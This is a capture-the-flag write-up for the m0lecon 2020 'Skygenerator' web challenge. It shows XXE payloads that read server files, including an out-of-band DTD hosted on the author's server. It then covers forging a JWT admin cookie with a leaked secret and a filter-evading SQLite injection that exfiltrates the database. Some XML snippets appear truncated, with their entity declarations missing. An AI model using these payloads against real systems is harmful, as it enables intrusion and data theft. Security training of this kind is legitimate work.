# Skygenerator  
> Want the flag? Better try harder!  
Note: The flag is located into the flag table  
Hint: PHP source code and XML don't go along very well  
Author: @lpezzolla

Link: https://challs.m0lecon.it:8000/

Points: 153

Solves: 32

Tags: web, xxe, CDATA, SQLite, PHP, Parameterized Query

## Initial Steps  
We are given a simple website where we can create an account, login and upload
an xml file which contains tags for stars which have a text and a position.
Thus my first instinct was to do try XXE injection.

## Simple XXE to read local files  
I intercepted the XML upload request with Burp and sent it to Repeater, so
that I can simply modify and repeat it.

We try a simple XXE to leak a local file:

```xml

]>  
<sky>  
<star x="0" y="200">&tes;;</star>  
</sky>  
```

It works! We get back a sky image which contains the file content as text. We
can not only leak files but also list directories! I looked around and found
this interesting one:  
> /var/www/html/skygenerator/public  
![](images/web_root.png)

Some files look very interesting, e.g. *admin_dashboard.php*. There is also a
SQLite database *skygenerator.db* in another folder. Unfortunatly we get an
error when trying to leak any of these files. Not even [Out-of-band XXE using
a DTD](https://dzone.com/articles/out-of-band-xml-external-entity-oob-xxe)
hosted on my server worked. Luckily there was the hint.

## Advanced XXE to read local php files  
We know that trying to read php files results in an error. This makes sense as
the raw php code would just be inserted inside the XML messing with its
syntax, not allowing a valid image to be generated.

Thus we try to wrap it in a CDATA block

From https://en.wikipedia.org/wiki/CDATA#CDATA_sections_in_XML:  
```  
A CDATA section is a piece of element content that is marked up to be
interpreted literally, as textual data, not as marked up content.  
```

However simply doing this doesn't work, as then the entity refernce
*&tes;;*would be treated as plain text and not replaced:  
```xml  
<star x="0" y="200"></star>  
```

But we can use some [DTD Magic](https://dzone.com/articles/xml-external-
entity-xxe-limitations) to wrap the php code after it has been inserted.  
For this we submit the following XML:  
```xml

%dtd;  
%all;  
]>  
<sky>  
<star x="0" y="0">&fileContents;</star>  
</sky>  
```

In addition we host the following *evil.dtd* file on our public server
EXAMPLE:  
```xml

">  
">  
```

Holy shit that works! Here are the interesing files:

> admin_dashboard.php (top-half)  
![](images/admin_dashboard1.png)

> admin_dashboard.php (bottom-half) (received by setting the stars
> y-coordinate to -720)  
![](images/admin_dashboard2.png)

> config.php  
![](images/config.png)

The admin dashboard looks very interesting, since it allows us access to the
database. However we can see in the source code that our role has to be
"admin". This is where the *config.php* helps us.

## Fake cookie to access admin panel

From *config.php* we can extract the secret key, used to sign JWT session
cookies:  
```  
Vb8lckQX8LFPq45Exq5fy2TniLUplKGZXO2  
```

We use https://jwt.io/, paste our cookie and changes the role string to
"admin" with length 5. Then we replace our cookie. Now we can access
/admin_dashboard!

## SQLite Injection  
Looking at the source code of *admin_dashboard.php* I spotted a vulnerability
in the parameterized query. $key is insterted directly into query instead of
as a parameter!

Since I never did this sort of injection before and it was not
straightforward, I proceeded to build a local setup replicating the
functionality of the admin dashboard, to be able to debug the queries better.
There were several character that were not possible in the injection, due to
how PHP handles them. For each I had to find a replacement:  
\- " " -> /**/  
\- "." -> CHAR(46)  
\- "+" -> ||

Finally I came up with this payload. I inserted it directly into the page so I
can simply download the zip file, instead of getting it in raw form in Burp.

Inserted in /admin_dashboard:  
```html  
<input type="number" class="form-control" name="user_id" id="user_id"
required="" value="-1">

<input
name="2>1/**/UNION/**/SELECT/**/'/var/www/html/skygenerator/data/skygenerator'||CHAR(46)||'db'--"
value="1337">  
```  
The name of the second input tag will map to $key.

Thus the local query would look like this:  
```sql  
SELECT filename FROM skies WHERE user_id=:user_id AND
2>1/**/UNION/**/SELECT/**/'/var/www/html/skygenerator/data/skygenerator'||CHAR(46)||'db'--  
```  
The idea is that the first SELECT does not return any result, because it set
user_id=-1. The second SELECT will return the path to the SQLite database,
which the server will then zip and send to us.

## Extract flag from leaked database  
Using *sqlite3* I can browse the database and find the flag.

```bash  
$: sqlite3 skygenerator.db  
SQLite version 3.29.0 2019-07-10 17:32:03  
Enter ".help" for usage hints.  
sqlite> .tables  
flag skies users  
sqlite> SELECT * FROM flag;  
ptm{XSS_4r3_b4d_sh1t_YN8aSUf8m0E8}  
```

Finally we have the flag in this "warmup" challenge:  
```  
ptm{XSS_4r3_b4d_sh1t_YN8aSUf8m0E8}  
```

## Slighly different solution  
Check out [PinkDraconian's
video](https://www.youtube.com/watch?v=dznJXW_w5Y8). Instead of downloading
the database he used SQL's SUBSTR function and a script to extract the flag
from the flag table.  

Original writeup
(https://github.com/nreusch/writeups/blob/master/m0lecon_2020/skygenerator.md).